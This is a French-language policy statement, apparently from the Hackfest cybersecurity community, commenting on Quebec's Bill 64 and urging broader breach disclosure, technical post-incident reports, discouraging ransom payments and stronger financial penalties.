La communauté du Hackfest est composée de personnes intéressées par la cybersécurité. Il s’agit d’individus qui désirent partager leurs connaissances dans les domaines des technologies de l’information et de la cybersécurité. Nous avons en commun une sensibilisation face aux risques auxquels nous sommes toutes et tous exposés lorsque surviennent des fuites de renseignements personnels. Nous avons à cœur le respect de la confidentialité et de la sécurité et la mise en place de mesures appropriées pour la préserver. Nous prenons la parole car nous croyons que cet objectif est atteignable par la collaboration et une plus grande transparence.

Obligation de divulgation

Le projet de Loi 64 est un pas dans la bonne direction. Il va baliser l’obligation de divulgation lorsqu’une entreprise est victime d’une brèche de sécurité. Nous saluons l’obligation de mise en place de politique claire sur la confidentialité et le fait de rendre l’exploitant d’une entreprise responsable de la protection des renseignements personnels qu’il détient.

Malheureusement, il nous semble qu’il laisse beaucoup de marge de manœuvre aux entreprises qui désirent se soustraire à l’obligation de dévoiler un « incident de confidentialité ». Le projet de Loi stipule qu’une entreprise est dans l’obligation d’aviser la Commission et la personne impactée seulement si elle cause un « préjudice sérieux ». Nous constatons actuellement une banalisation des brèches et de la gravité de celles-ci. Nous croyons que la balance devrait pencher dans l’autre sens et que tout « incident de confidentialité » devrait être rapporté à moins qu’il y ait un « préjudice sérieux » de le faire.

Le partage des connaissances comme moyen de défense

Il est rare qu’une entreprise divulgue les informations techniques entourant les brèches de sécurité. Pourtant, la communauté sortirait gagnante d’un partage plus ouvert de ces informations. En tenant compte de la nécessité de ne pas dévoiler d’informations sensibles ou préjudiciables, un bilan technique devrait être exigé. Quels moyens les criminels ont-ils utilisés? Quelles sont les vulnérabilités logicielles ou organisationnelles qui ont été exploitées? Quels types de données ont été volées? Comment la brèche a-t-elle été découverte?

Le projet de Loi 64 prévoit une obligation de prendre les moyens « raisonnables » pour assurer la sécurité des renseignements personnels. Ces moyens ont un coût. Il serait intéressant de connaître le pourcentage du budget consacré à la cybersécurité par les organismes et entreprises. Cette information permettrait aux client-es de faire un choix éclairé en choisissant les entreprises qui ont réellement à cœur la sécurité de leurs données.

Décourager le paiement des rançons

Le rançongiciel est une entreprise lucrative. Tant que nous payons, nous continuerons à être les victimes de ces attaques. De plus, il est fallacieux de se fier aux promesses de destruction de données volées de la part de groupes criminels. Une victime qui paie une fois est une cible de choix pour une deuxième attaque.

Des sanctions administratives et pécuniaires dissuasives

Nous sommes contents de voir l’introduction de sanctions pécuniaires dans le projet de Loi 64. Malheureusement, tant que le coût de l’inaction demeure inférieur au coût d’un programme de cybersécurité efficace, c’est l’inaction qui sera priorisée par certains. Les sanctions doivent être dissuasives et assez importantes afin d’encourager les entreprises qui ne prennent pas la menace au sérieux à investir en cybersécurité de façon adéquate.

Nous sommes conscients que toutes les entreprises n’ont pas les mêmes moyens. Par contre, la conservation de données personnelles est un choix qui implique une responsabilité. Ces sanctions devraient donc être associées à la possibilité pour les PMEs de bénéficier des services de consultant-es à la hauteur de leurs moyens.

Les brèches de sécurité et les fuites de données font partie de la nouvelle réalité. Les conséquences pour les entreprises impactées et leurs client-es sont graves. Il est donc primordial de prendre cette menace aux sérieux et mettre en place les mesures nécessaires pour endiguer ce fléau.